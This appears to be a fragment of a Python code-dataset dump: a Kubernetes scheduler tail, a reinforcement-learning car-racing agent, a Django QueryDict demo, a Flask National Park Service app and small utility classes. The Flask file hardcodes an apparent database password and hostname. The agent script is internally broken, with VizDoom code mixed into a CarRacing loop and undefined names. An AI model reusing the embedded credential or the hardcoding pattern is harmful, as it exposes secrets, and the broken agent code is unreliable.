client.rest.ApiException as e:\r\n log.write(json.loads(e.body)['message'])\r\n log.flush()\r\n elif podSeen[label][name] == 'running':\r\n print(\"I already assigned this pod a node before but this came again, but I shouldn't delete it.\")\r\n else:\r\n print(\"This pod was already assigned or deleted, so I will do nothing.\")\r\n else:\r\n print(\"I shouldn't assign a node\")\r\n if name not in podSeen[label]:\r\n print(\"Deleting this pod\")\r\n podSeen[label][name] = 'Deleted'\r\n try:\r\n v1.delete_namespaced_pod(pod.metadata.name, 'default', delete_option)\r\n except client.rest.ApiException:\r\n print('ApiException as expected for double deleting')\r\n\r\nif __name__ == '__main__':\r\n main()\r\n log.close()\r\n","sub_path":"group_code/static/staticScheduler.py","file_name":"staticScheduler.py","file_ext":"py","file_size_in_byte":6154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"243121823","text":"class CodeVariable:\n \"\"\"\n This class represents a code varible.\n\n A code variable is inserted for a code parameter before insertion of a\n code fragment.\n\n Attributes:\n _type (str): The type of the variable.\n _name (str): The name of the paramter that can be replaced by the variable.\n _value (str): The value of the variable.\n _module_name (str): The module name. Helpful if the module is renamed at import.\n > import pandas as pd\n \"\"\"\n\n def __init__(self, type_: str = None,\n name: str = None,\n value: str = None,\n module_name: str = None\n ) -> None:\n \"\"\"\n Creates a code variable with its associated information.\n\n The constructor takes a named argument for each attribute.\n\n Arguments:\n type (str): The type of the variable.\n name (str): The name of the paramter that can be replaced by the variable.\n value (str): The value of the variable.\n module_name (str): The module name. Helpful if the module is renamed at import.\n > import pandas as pd\n \"\"\"\n self._type = type_\n self._name = name\n self._value = value\n self._module_name = module_name\n\n # def __eq__(self, other) -> bool:\n # return (self._type == other._type and\n # self._name == other._name and\n # self._value == other._value and\n # self._module_name == other._module_name)\n","sub_path":"server/fragment/data/CodeVariable.py","file_name":"CodeVariable.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"414245800","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 20 10:08:27 2017\n\n@author: Josh M, Zhicong Z\n\"\"\"\nimport numpy as np\n\nfrom matplotlib import pyplot as plt\n\nbern, p, n = 1, 0.5, 250\n\n\nz = [None]*1000\n\nfor j in range(1000):\n sum = 0\n s = np.random.binomial(bern, p, n)\n for i in range(len(s)):\n s[i] = s[i]*2-1\n sum += s[i]\n avg = sum/n\n z[j] = avg\n\ncount, bins, ignored = plt.hist(z, 300, normed=True)\nplt.title(\"Bernoulli random variable Bell Curve\")\nplt.show()","sub_path":"lab1/problem2.py","file_name":"problem2.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18070661","text":"from car_racing import CarRacing\nfrom pyglet.window import key\nimport numpy as np\n\n# Q-learning settings\n#learning_rate = 0.00025\nlearning_rate = 0.0001\ndiscount_factor = 0.99\nepochs = 10\nlearning_steps_per_epoch = 2500\nreplay_memory_size = 10000\n\n# NN learning settings\nbatch_size = 64\n\n# Training regime\ntest_episodes_per_epoch = 100\n\n# Other parameters\nframe_repeat = 8\n#resolution = (60, 90)\nresolution = (40, 60)\nepisodes_to_watch = 25\nP_memo = 0.7\n\n\nmodel_savefile = \"/tmp/model.ckpt\"\nsave_model = True\nload_model = False#True\nskip_learning = False\n\nSTATE_L = 8\n\n\nclass ReplayMemory:\n def __init__(self, capacity):\n channels = 1\n state_shape = (capacity, STATE_L)\n self.s1 = np.zeros(state_shape, dtype=np.float32)\n self.s2 = np.zeros(state_shape, dtype=np.float32)\n self.a = np.zeros(capacity, dtype=np.int32)\n self.r = np.zeros(capacity, dtype=np.float32)\n self.isterminal = np.zeros(capacity, dtype=np.float32)\n\n self.capacity = capacity\n self.size = 0\n self.pos = 0\n\n def add_transition(self, s1, action, s2, isterminal, reward):\n self.s1[self.pos, :, :, 0] = s1\n self.a[self.pos] = action\n if not isterminal:\n self.s2[self.pos, :, :, 0] = s2\n self.isterminal[self.pos] = isterminal\n self.r[self.pos] = reward\n\n self.pos = (self.pos + 1) % self.capacity\n self.size = min(self.size + 1, self.capacity)\n if self.pos == 0:\n print(\"BUFOR NAPELNION!\")\n return True\n return False\n\n def get_sample(self, sample_size):\n i = sample(range(0, self.size), sample_size)\n return self.s1[i], self.a[i], self.s2[i], self.isterminal[i], self.r[i]\n\n\ndef create_network(session, available_actions_count):\n # Create the input variables\n s1_ = tf.placeholder(tf.float32, [None] + [STATE_L] + [1], name=\"State\")\n a_ = tf.placeholder(tf.int32, [None], name=\"Action\")\n target_q_ = tf.placeholder(tf.float32, [None, available_actions_count], name=\"TargetQ\")\n\n # Add 2 convolutional layers with ReLu activation\n dense1 = tf.layers.dense(s1_, num_outputs=16, activation_fn=tf.nn.relu,\n weights_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n biases_initializer=tf.constant_initializer(0.1))\n dense2 = tf.layers.dense(dense1, num_outputs=32, activation_fn=tf.nn.relu,\n weights_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n biases_initializer=tf.constant_initializer(0.1))\n q = tf.layers.dense(dense2, num_outputs=available_actions_count, activation_fn=tf.nn.relu,\n weights_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n biases_initializer=tf.constant_initializer(0.1))\n #best_a = tf.argmax(q, 1)\n best_a = tf.argmax(q[:,1:], 1) + 1\n\n loss = tf.losses.mean_squared_error(q, target_q_)\n\n optimizer = tf.train.AdamOptimizer(learning_rate)\n # Update the parameters according to the computed gradient using RMSProp.\n train_step = optimizer.minimize(loss)\n\n def function_learn(s1, target_q):\n feed_dict = {s1_: s1, target_q_: target_q}\n l, _ = session.run([loss, train_step], feed_dict=feed_dict)\n return l\n\n def function_get_q_values(state):\n return session.run(q, feed_dict={s1_: state})\n\n def function_get_best_action(state):\n return session.run(best_a, feed_dict={s1_: state})\n\n def function_simple_get_best_action(state):\n return function_get_best_action(state.reshape([1, STATE_L, 1]))[0]\n\n return function_learn, function_get_q_values, function_simple_get_best_action\n\n\ndef learn_from_memory():\n \"\"\" Learns from a single transition (making use of replay memory).\n s2 is ignored if s2_isterminal \"\"\"\n\n # Get a random minibatch from the replay memory and learns from it.\n if memory.size > batch_size:\n if random() < P_memo:\n s1, a, s2, isterminal, r = memories.get_sample(batch_size)\n else:\n s1, a, s2, isterminal, r = memory.get_sample(batch_size)\n\n\n q2 = np.max(get_q_values(s2), axis=1)\n target_q = get_q_values(s1)\n #print(target_q.shape)\n # target differs from q only for the selected action. The following means:\n # target_Q(s,a) = r + gamma * max Q(s2,_) if isterminal else r\n target_q[np.arange(target_q.shape[0]), a] = r + discount_factor * (1 - isterminal) * q2\n learn(s1, target_q)\n\n\ndef perform_learning_step(epoch):\n \"\"\" Makes an action according to eps-greedy policy, observes the result\n (next state, reward) and learns from the transition\"\"\"\n\n def exploration_rate(epoch):\n \"\"\"# Define exploration rate change over time\"\"\"\n start_eps = 1.0\n end_eps = 0.1\n const_eps_epochs = 0.35 * epochs # 10% of learning time\n eps_decay_epochs = 0.9 * epochs # 60% of learning time\n\n if epoch < const_eps_epochs:\n return start_eps\n elif epoch < eps_decay_epochs:\n # Linear decay\n return start_eps - (epoch - const_eps_epochs) / \\\n (eps_decay_epochs - const_eps_epochs) * (start_eps - end_eps)\n else:\n return end_eps\n\n s1 = self.env.get_state()\n\n # With probability eps make a random action.\n eps = exploration_rate(epoch)\n if random() <= eps:\n a = randint(1, len(actions) - 1)\n else:\n # Choose the best action according to the network.\n a = get_best_action(s1)\n reward = self.env.make_action(actions[a], frame_repeat)\n\n isterminal = self.env.is_episode_finished()\n s2 = self.env.get_state() if not isterminal else None\n\n # Remember the transition that was just experienced.\n memory.add_transition(s1, a, s2, isterminal, reward)\n\n learn_from_memory()\n\n\n\nif __name__ == '__main__':\n # Create Doom instance\n game = initialize_vizdoom(config_file_path)\n\n # Action = which buttons are pressed\n n = game.get_available_buttons_size()\n actions = [list(a) for a in it.product([0, 1], repeat=n)]\n\n # Create replay memory which will store the transitions\n memory = ReplayMemory(capacity=replay_memory_size)\n with open(\"record000.pk\", 'r') as fp:\n memories = pickle.load(fp)\n\n session = tf.Session()\n learn, get_q_values, get_best_action = create_network(session, len(actions))\n saver = tf.train.Saver()\n if load_model:\n print(\"Loading model from: \", model_savefile)\n saver.restore(session, model_savefile)\n else:\n init = tf.global_variables_initializer()\n session.run(init)\n print(\"Starting the training!\")\n\n time_start = time()\n if not skip_learning:\n for epoch in range(epochs):\n print(\"\\nEpoch %d\\n-------\" % (epoch + 1))\n train_episodes_finished = 0\n train_scores = []\n\n print(\"Training...\")\n game.new_episode()\n for learning_step in trange(learning_steps_per_epoch, leave=False):\n perform_learning_step(epoch)\n if game.is_episode_finished():\n score = game.get_total_reward()\n train_scores.append(score)\n game.new_episode()\n train_episodes_finished += 1\n\n print(\"%d training episodes played.\" % train_episodes_finished)\n\n train_scores = np.array(train_scores)\n\n print(\"Results: mean: %.1f±%.1f,\" % (train_scores.mean(), train_scores.std()), \\\n \"min: %.1f,\" % train_scores.min(), \"max: %.1f,\" % train_scores.max())\n\n print(\"\\nTesting...\")\n test_episode = []\n test_scores = []\n for test_episode in trange(test_episodes_per_epoch, leave=False):\n game.new_episode()\n while not game.is_episode_finished():\n state = preprocess(game.get_state().screen_buffer)\n best_action_index = get_best_action(state)\n\n game.make_action(actions[best_action_index], frame_repeat)\n r = game.get_total_reward()\n test_scores.append(r)\n\n test_scores = np.array(test_scores)\n print(\"Results: mean: %.1f±%.1f,\" % (\n test_scores.mean(), test_scores.std()), \"min: %.1f\" % test_scores.min(),\n \"max: %.1f\" % test_scores.max())\n\n print(\"Saving the network weigths to:\", model_savefile)\n saver.save(session, model_savefile)\n\n print(\"Total elapsed time: %.2f minutes\" % ((time() - time_start) / 60.0))\n\n game.close()\n print(\"======================================\")\n print(\"Training finished. It's time to watch!\")\n\n # Reinitialize the game with window visible\n game.set_window_visible(True)\n game.set_mode(Mode.ASYNC_PLAYER)\n game.init()\n\n for _ in range(episodes_to_watch):\n game.new_episode()\n while not game.is_episode_finished():\n state = preprocess(game.get_state().screen_buffer)\n best_action_index = get_best_action(state)\n\n # Instead of make_action(a, frame_repeat) in order to make the animation smooth\n game.set_action(actions[best_action_index])\n for _ in range(frame_repeat):\n game.advance_action()\n\n # Sleep between episodes\n sleep(1.0)\n score = game.get_total_reward()\n print(\"Total score: \", score)\n\n\na = np.array( [0.0, 0.0, 0.0] )\ndef key_press(k, mod):\n global restart\n if k==0xff0d: restart = True\n if k==key.LEFT: a[0] = -1.0\n if k==key.RIGHT: a[0] = +1.0\n if k==key.UP: a[1] = +1.0\n if k==key.DOWN: a[2] = +0.8 # set 1.0 for wheels to block to zero rotation\ndef key_release(k, mod):\n if k==key.LEFT and a[0]==-1.0: a[0] = 0\n if k==key.RIGHT and a[0]==+1.0: a[0] = 0\n if k==key.UP: a[1] = 0\n if k==key.DOWN: a[2] = 0\nenv = CarRacing()\nenv.render()\nrecord_video = False\nif record_video:\n env.monitor.start('/tmp/video-test', force=True)\nenv.viewer.window.on_key_press = key_press\nenv.viewer.window.on_key_release = key_release\nwhile True:\n env.reset()\n total_reward = 0.0\n steps = 0\n restart = False\n while True:\n s, r, done, info = env.step(a)\n total_reward += r\n if steps % 200 == 0 or done:\n print(\"\\naction \" + str([\"{:+0.2f}\".format(x) for x in a]))\n print(\"step {} total_reward {:+0.2f}\".format(steps, total_reward))\n #import matplotlib.pyplot as plt\n #plt.imshow(s)\n #plt.savefig(\"test.jpeg\")\n steps += 1\n if not record_video: # Faster, but you can as well call env.render() every time to play full window.\n env.render()\n if done or restart: break\nenv.close()\n","sub_path":"gym/envs/box2d/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":10971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"544337785","text":"from django.shortcuts import render\n\n\ndef get_query_dict(request):\n \"\"\"Return the QueryDict information.\"\"\"\n\n context = dict()\n get_copy = request.GET.copy()\n\n # Methods:\n m_dict = dict()\n m_dict[\"__setitem__(key, value)\"] = get_copy.__setitem__(\"a\", \"a value\")\n m_dict[\"__getitem__(key)\"] = get_copy.__getitem__(\"a\")\n m_dict[\"__contains__(key)\"] = get_copy.__contains__(\"a\")\n m_dict[\"get(key, default=None)\"] = get_copy.get(\"b\", default=\"No key\")\n m_dict[\"setdefault(key, default=None)\"] = get_copy.setdefault(\"b\",\n \"b value\") # noqa\n m_dict[\"update(other_dict)\"] = get_copy.update({\"a\": \"new a value\"})\n m_dict[\"items()\"] = list(get_copy.items())\n m_dict[\"values()\"] = list(get_copy.values())\n m_dict[\"copy()\"] = get_copy.copy()\n m_dict[\"getlist(key, default=None)\"] = get_copy.getlist(\"a\")\n m_dict[\"setlist(key, list_)\"] = get_copy.setlist(\"b\", [\n \"first\",\n \"second\",\n \"third\"\n ])\n m_dict[\"new b\"] = get_copy.getlist(\"b\")\n m_dict[\"appendlist(key, item)\"] = get_copy.appendlist(\"a\", \"third value\")\n m_dict[\"a list after appending\"] = get_copy.getlist(\"a\")\n m_dict[\"setlistdefault(key, default_list=None)\"] = \\\n get_copy.setlistdefault(\"c\", default_list=[\"c value\"])\n m_dict[\"lists()\"] = list(get_copy.lists())\n m_dict[\"pop(key)\"] = get_copy.pop(\"a\")\n m_dict[\"after pop(key)\"] = list(get_copy.lists())\n m_dict[\"popitem()\"] = get_copy.popitem()\n m_dict[\"dict()\"] = get_copy.dict()\n m_dict[\"urlencode()\"] = get_copy.urlencode()\n\n context[\"m_dict\"] = m_dict\n\n return render(request, \"query_dict/qdict.html\", context)\n","sub_path":"Python/Django/Django(Controllers)/RequestAndResponseObjects/request_response_objects/query_dict/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"404360026","text":"from flask import Flask, render_template,request #neccesary for Flask web app, also allows to request data from NPS api\nfrom flask_sqlalchemy import SQLAlchemy #imported for database use\nfrom lists import * #returns list of all parks, and dictionery that stores state abbreviations and states as keys and vales, respectively\nfrom queries import * #imports all query functions from queries.py\nimport re #used in def events() to remove html tags from json response\n\napp = Flask(__name__)\n\n#sql database\nSQLALCHEMY_DATABASE_URI = \"mysql+mysqlconnector://:{password}@{hostname}/{databasename}\".format(\n username=\"jacobia\",\n password=\"44Eagles!\",\n hostname=\"jacobia.mysql.pythonanywhere-services.com\",\n databasename=\"jacobia$NPS-database\",\n)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = SQLALCHEMY_DATABASE_URI\napp.config[\"SQLALCHEMY_POOL_RECYCLE\"] = 299\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\ndb=SQLAlchemy(app)\n\n#homepage route\n@app.route('/')\ndef home():\n return render_template(\"homepage.html\")\n\n#route to interactive map\n@app.route('/interactive_map')\ndef interactive_map():\n return render_template(\"interactive_map.html\")\n\n#route to list of states\n@app.route('/state_list_homepage')\ndef state_list_homepage():\n return render_template(\"state_list_homepage.html\")\n\n#route to list of parks in specific state\n@app.route('/iparks_by_state',methods=['GET','POST'])\n@app.route('/iparks_by_state/',methods = ['GET','POST'])\ndef state_list(state_code):\n state_code = state_code.replace('\"', '')\n\n #if no state_code is passed in, returns a list of states for user to choose from\n if state_code is \"\":\n return render_template(\"state_list_homepage.html\")\n\n #if a state code is passed in, returns the parks in specific state, along with the state and state code\n else:\n json_response =parks_query(state_code,\"\")\n output=[]\n for x in range(0,int(json_response['total'])-1):\n output.append(json_response['data'][x]['fullName'])\n state_code=state_code.upper().lstrip()\n state = states[state_code]\n\n return render_template(\"/iparks_by_state.html\",output=output,state=state,state_code=state_code)\n\n@app.route('/name_list/',methods=['GET','POST'])\ndef name_list(alphabetChar):\n alphabetChar = alphabetChar.replace('\"','')\n output = []\n names = parks\n\n #finds all parks that begin with selected char, and returns them in a list\n for name in names:\n if(name.startswith(alphabetChar)):\n output.append(name)\n return render_template(\"/name_list.html\",output=output,letter = alphabetChar)\n\n#route to a list of parks by specific designation\n@app.route('/designation',methods=['GET','POST'])\n@app.route('/designation/',methods = ['GET','POST'])\ndef designation(designation = \"\"):\n designation = designation.replace('\"', '')\n #if no designation is passed in, returns designation homepage\n if designation is \"\":\n return render_template(\"designation.html\",homepage = True)\n\n #if designation is passsed in, returns all parks with specified designation\n else:\n json_response =designation_query(designation)\n output=[]\n for x in range(0,int(json_response['total'])-1):\n output.append(json_response['data'][x]['fullName'])\n #small change to National Cemetery so that it appears correctly on page\n if designation == \"National Cemetery\":\n designation = \"National Cemeterie\"\n return render_template(\"/designation.html\",output=output,designation = designation)\n\n#route to enter searches and return parks for specific search\n@app.route('/search',methods=['GET','POST'])\ndef search():\n #takes user to search homepage to begin searching\n if request.method == \"GET\":\n return render_template(\"search.html\", no_search=True)\n\n else:\n #calls search_query from queries.py to get results of search\n search = request.form[\"search\"]\n if len(search) < 4:\n return render_template(\"search.html\", short = True)\n search_results = search_query(search)\n names = []\n descriptions = []\n num = int(search_results['total'])\n if num == 1:\n num =2\n if(num > 50):\n num = 50\n for i in range(0,num-1):\n names.append(search_results['data'][i]['fullName'])\n descriptions.append(search_results['data'][i]['description'])\n\n return render_template(\"search.html\",search=search,results = zip(names,descriptions))\n\n#route to alerts page for specific park\n@app.route('/alerts/',methods = ['GET','POST'])\ndef alerts(park_name = \"\"):\n #calls other_query from queries.py to get alerts for specific park\n url_add =\"alerts\"\n park_name = park_name.replace('\"', '')\n json_response = other_query(url_add,park_name)\n\n #if there are no alerts returned from the query, print this string\n if(int(json_response['total'])==0):\n return render_template(\"alerts.html\",string=(\"Currently no Alerts for this park\"),no_center=True,park=park_name)\n\n #if there are alerts, return the title, description, category, and symbol for each alert\n else:\n titles = []\n description = []\n symbols = []\n num = int(json_response['total'])\n if num == 1:\n num =2\n if(num > 50):\n num = 50\n for x in range(0,num-1):\n titles.append(json_response['data'][x]['title'])\n description.append(json_response['data'][x]['description'])\n category = json_response['data'][x]['category']\n #adds specific symbol to an alert, based off its category\n if(category == 'Danger'):\n symbols.append(\"danger.png\")\n elif(category == 'Caution'):\n symbols.append(\"caution_symbol.png\")\n elif(category == 'Park Closure'):\n symbols.append(\"closure.png\")\n elif(category == 'Information'):\n symbols.append(\"info.png\")\n else:\n symbols.append(\"https://federalnewsnetwork.com/wp-content/uploads/2019/05/cropped-7E9AE9B6-1DD8-B71B-0BD2CA3A36AEBEC4-1.png\")\n return render_template(\"alerts.html\",alerts=zip(titles, description,symbols),park=park_name)\n\n\n#route for articles for specific park\n@app.route('/articles/',methods = ['GET','POST'])\ndef articles(park_name = \"\"):\n park_name = park_name.replace('\"', '')\n json_response = other_query(\"articles\",park_name) #query to find articles related to selected park\n\n #if there are no parks returned from the query, this string will be displayed\n if(int(json_response['total']) == 0):\n output = \"Currently no articles related to this park\"\n return render_template(\"articles.html\",string=output,no_articles=True)\n\n #if there are article, the title, description, image, and url of each article will be gathered and sent to the articles html page\n else:\n titles = []\n listingdescriptions = []\n listingimages = []\n urls =[]\n num = int(json_response['total'])\n if num == 1:\n num =2\n if(num > 50):\n num = 50\n for i in range(0,num-1):\n titles.append(json_response['data'][i]['title'])\n listingdescriptions.append(json_response['data'][i]['listingdescription'])\n #some articles did not have images in the json, so the nps logo was stored as its image\n if json_response['data'][i]['listingimage']['url'] != \"\":\n listingimages.append(json_response['data'][i]['listingimage']['url'])\n else:\n listingimages.append(\"https://federalnewsnetwork.com/wp-content/uploads/2019/05/cropped-7E9AE9B6-1DD8-B71B-0BD2CA3A36AEBEC4-1.png\")\n urls.append(json_response['data'][i]['url'])\n\n return render_template(\"/articles.html\",articles=zip(titles,listingdescriptions,listingimages,urls),park=park_name)\n\n\n\n#route for events for specific park\n@app.route('/events/',methods = ['GET','POST'])\ndef events(park_name = \"\"):\n url_add =\"events\"\n park_name = park_name.replace('\"', '')\n json_response = other_query(url_add,park_name)\n\n #if no parks returns query, output this string\n if(int(json_response['total'])==0):\n return render_template(\"events.html\",string=(\"Currently no events for this park\"),no_events = True,park=park_name)\n #iif there are parks, collect information and send to events html page\n else:\n titles = []\n locations = []\n description = []\n category = []\n date_start = []\n recurrence_date_end = []\n regres_info = []\n fees_info = []\n timestart = []\n timeend = []\n num = 10\n if (int(json_response['total']) < 10):\n num = int(json_response['total'])\n if (num ==1):\n num =2\n for x in range(0,num-1):\n titles.append(json_response['data'][x]['title'])\n if json_response['data'][x]['location'] == \"\":\n locations.append(\"N/A\")\n else:\n locations.append(json_response['data'][x]['location'])\n\n #descriptions from api had paragraph and strong tags in response, these lines remove them\n des = json_response['data'][x]['description']\n des = re.sub(\"<.*?>\", \" \", des)\n description.append(des)\n\n category.append(json_response['data'][x]['category'])\n date_start.append(json_response['data'][x]['datestart'])\n timestart.append(json_response['data'][x]['times'][0]['timestart'])\n timeend.append(json_response['data'][x]['times'][0]['timeend'])\n\n #check to see if the event is recurring or not\n if(json_response['data'][x]['isrecurring'] == \"true\"):\n recurrence_date_end.append(json_response['data'][x]['recurrencedateend'])\n else:\n recurrence_date_end.append(\"Not a recurring event\")\n\n #check to see if the event is free or not\n if(json_response['data'][x]['isfree'] == \"false\"):\n fees_info.append(json_response['data'][x]['feeinfo'])\n else:\n fees_info.append(\"No fees Required\")\n\n #check to see if the event requires registration\n if(json_response['data'][x]['isregresrequired'] == \"true\"):\n regres_info.append(json_response['data'][x]['regresinfo'])\n else:\n regres_info.append(\"No registration required\")\n\n return render_template(\"events.html\",events=zip(titles,locations, description,category,date_start,recurrence_date_end,fees_info,regres_info,timestart,timeend),park=park_name)\n\n#route to news releases for specific park\n@app.route('/news_releases/',methods = ['GET','POST'])\ndef news_releases(park_name = \"\"):\n url_add =\"newsreleases\"\n park_name = park_name.replace('\"', '')\n json_response = other_query(url_add,park_name)\n\n #if there are no parks returned from the query, this string is displayed\n if(int(json_response['total'])==0):\n return render_template(\"news_releases.html\",string=(\"Currently no News Releases for this park\"),no_releases=True,park= park_name)\n\n #otherwise, collect information for each returned release and send it to news release html page\n else:\n titles = []\n release_dates= []\n images= []\n urls = []\n abstracts = []\n num = int(json_response['total'])\n if num == 1:\n num=2\n if(num > 50):\n num = 50\n for x in range(0,num-1):\n titles.append(json_response['data'][x]['title'])\n release_dates.append(json_response['data'][x]['releasedate'])\n\n #some releases did not have images in the json, so the nps logo was stored as its image\n if(json_response['data'][x]['image']['url'] == \"\"):\n images.append(\"https://federalnewsnetwork.com/wp-content/uploads/2019/05/cropped-7E9AE9B6-1DD8-B71B-0BD2CA3A36AEBEC4-1.png\")\n else:\n images.append(json_response['data'][x]['image']['url'])\n\n urls.append(json_response['data'][x]['url'])\n abstracts.append(json_response['data'][x]['abstract'])\n return render_template(\"news_releases.html\",releases=zip(titles, release_dates,images,urls,abstracts),park=park_name)\n\n#route to lesson plane for specific park\n@app.route('/education/',methods = ['GET','POST'])\ndef education(park_name = \"\"):\n url_add =\"lessonplans\"\n park_name = park_name.replace('\"', '')\n json_response = other_query(url_add,park_name)\n\n #if there are no lesson plans returned for the park, display this string\n if(int(json_response['total'])==0):\n return render_template(\"education.html\",string=(\"Currently no Educational Resources for this park\"),no_resources=True,park= park_name)\n\n #otherwise, gather information for each lesson plan and send it to the education html page\n else:\n titles = []\n subjects= []\n grade_levels= []\n question_objectives = []\n durations = []\n urls = []\n\n num = int(json_response['total'])\n if num == 1:\n num =2\n if num > 50:\n num = 50\n for x in range(0,num-1):\n titles.append(json_response['data'][x]['title'])\n subjects.append(json_response['data'][x]['subject'])\n grade_levels.append(json_response['data'][x]['gradelevel'])\n question_objectives.append(json_response['data'][x]['questionobjective'])\n durations.append(json_response['data'][x]['duration'])\n urls.append(json_response['data'][x]['url'])\n\n return render_template(\"education.html\",lesson_plans=zip(titles,subjects,grade_levels,question_objectives,durations,urls),park=park_name)\n\n#route to campground information near specified park\n@app.route('/campgrounds/',methods = ['GET','POST'])\ndef campgrounds(park_name = \"\"):\n park_name = park_name.replace('\"', '')\n json_response = other_query(\"campgrounds\",park_name)\n\n #if there are no campgrounds returned from the query, this string is displayed\n if(int(json_response['total'])==0):\n return render_template(\"campgrounds.html\",string=(\"Currently no Campgrounds for this park\"),no_camps=True,park= park_name)\n\n #otherwise, gather title, description, regulations, campsires, and directions for each campground\n else:\n titles = []\n descriptions = []\n regulations = []\n campsites = []\n directions = []\n num = int(json_response['total'])\n if num == 1:\n num =2\n if num > 50:\n num = 50\n for i in range(0,num-1):\n titles.append(json_response['data'][i]['name'])\n descriptions.append(json_response['data'][i]['description'])\n regulations.append(json_response['data'][i]['regulationsoverview'])\n campsites.append(json_response['data'][i]['campsites']['totalsites'])\n directions.append(json_response['data'][i]['directionsoverview'])\n\n #returns any campground information for campgrounds near specific park\n return render_template(\"/campgrounds.html\",campgrounds = zip(titles,descriptions,regulations,campsites,directions),park=park_name)\n\n#route to visitor centers for specified park\n@app.route('/visitorcenters/',methods = ['GET','POST'])\ndef visitorcenters(park_name = \"\"):\n park_name = park_name.replace('\"', '')\n json_response = other_query(\"visitorcenters\",park_name)\n\n #if there are no visitor centers for specified park , display this string\n if(int(json_response['total'])==0):\n return render_template(\"visitorcenters.html\",string=(\"Currently no Visitor Centers for this park\"),no_centers=True,park= park_name)\n\n #otherwise, gather title, description, direction, and url for each visitor center\n else:\n titles = []\n descriptions = []\n directions = []\n urls = []\n\n num = int(json_response['total'])\n if num == 1:\n num =2\n if num > 50:\n num = 50\n\n for i in range(num-1):\n titles.append(json_response['data'][i]['name'])\n descriptions.append(json_response['data'][i]['description'])\n directions.append(json_response['data'][i]['directionsInfo'])\n urls.append(json_response['data'][i]['url'])\n\n #returns info on any visitor centers for specific park\n return render_template(\"/visitorcenters.html\",visitor_centers = zip(titles,descriptions,directions,urls),park=park_name)\n\n#route to page with information on a selected park\n@app.route('/park_info/',methods=['GET','POST'])\ndef park_info(park_name =\"\"):\n #stores basic information for selected park\n park_name = park_name.replace('\"', '')\n json_response = parks_query(\"\",park_name)\n park_code = json_response['parkCode']\n designation = json_response['designation']\n description = json_response['description']\n directionsInfo = json_response['directionsInfo']\n directionsUrl = json_response['directionsUrl']\n url = json_response['url']\n weatherInfo = json_response['weatherInfo']\n\n #stores title, cost, and description of all entrance fees and entrance passes for park, if any\n if(json_response['entranceFees']):\n entrance_fees = json_response['entranceFees']\n else:\n entrance_fees = [{\n \"cost\":\"\",\n \"description\": \"\",\n \"title\": \"N/A\"\n }]\n\n if(json_response['entrancePasses']):\n entrance_passes = json_response['entrancePasses']\n else:\n entrance_passes =[{\n \"cost\":\"\",\n \"description\": \"\",\n \"title\": \"N/A\"\n }]\n\n #checks to see if there are operating hours listed for park, stores information if there are, stores \"No Hours Listed\" if not\n try:\n monday=(json_response['operatingHours'][0]['standardHours']['monday'])\n tuesday= (json_response['operatingHours'][0]['standardHours']['tuesday'])\n wednesday = (json_response['operatingHours'][0]['standardHours']['wednesday'])\n thursday =(json_response['operatingHours'][0]['standardHours']['thursday'])\n friday=(json_response['operatingHours'][0]['standardHours']['friday'])\n saturday = (json_response['operatingHours'][0]['standardHours']['saturday'])\n sunday =(json_response['operatingHours'][0]['standardHours']['sunday'])\n except IndexError:\n monday = tuesday = wednesday = thursday = friday = saturday = sunday = \"No Hours Listed\"\n\n #checks to see if there is an image for the selected park. if not, stores nps logo as selected park's image\n try:\n image = json_response['images'][0]['url']\n img_caption = json_response['images'][0]['caption']\n except IndexError:\n image = \"https://federalnewsnetwork.com/wp-content/uploads/2019/05/cropped-7E9AE9B6-1DD8-B71B-0BD2CA3A36AEBEC4-1.png\"\n img_caption = \"No Pictures Were Available\"\n\n #returns a lot of information for a specific park, used in park_info html page\n return render_template(\"/park_info.html\",park_code=park_code,name=park_name,designation=designation,description=description,directionsInfo = directionsInfo,\n directionsUrl= directionsUrl,url=url,weatherInfo=weatherInfo,monday=monday,tuesday=tuesday,wednesday=wednesday,thursday=thursday,\n friday=friday,saturday=saturday,sunday=sunday,image=image,caption=img_caption,entrance_fees = entrance_fees, entrance_passes= entrance_passes)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":20107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"524883322","text":"\n\"\"\"\\\nSee `StreamLogger`.\n\"\"\"\nimport sys\nimport logging\nimport cStringIO\n\n\nclass StreamLogger(object):\n \"\"\"\n A helper which intercepts what's written to an output stream\n then sends it, line by line, to a `logging.Logger` instance.\n\n Usage:\n\n By overwriting `sys.stdout`:\n\n sys.stdout = StreamLogger('stdout')\n print 'foo'\n\n As a context manager:\n\n with StreamLogger('stdout'):\n print 'foo'\n \"\"\"\n\n def __init__(self, name, logger=None, unbuffered=False,\n flush_on_new_line=True):\n \"\"\"\n ``name``: The stream name to incercept ('stdout' or 'stderr')\n ``logger``: The logger that will receive what's written to the stream.\n ``unbuffered``: If `True`, `.flush()` will be called each time\n `.write()` is called.\n ``flush_on_new_line``: If `True`, `.flush()` will be called each time\n `.write()` is called with data containing a\n new line character.\n \"\"\"\n self.__name = name\n self.__stream = getattr(sys, name)\n self.__logger = logger or logging.getLogger()\n self.__buffer = cStringIO.StringIO()\n self.__unbuffered = unbuffered\n self.__flush_on_new_line = flush_on_new_line\n\n def write(self, data):\n \"\"\"Write data to the stream.\n \"\"\"\n self.__buffer.write(data)\n if self.__unbuffered is True or \\\n (self.__flush_on_new_line is True and '\\n' in data):\n self.flush()\n\n def flush(self):\n \"\"\"Flush the stream.\n \"\"\"\n self.__buffer.seek(0)\n while True:\n line = self.__buffer.readline()\n if line:\n if line[-1] == 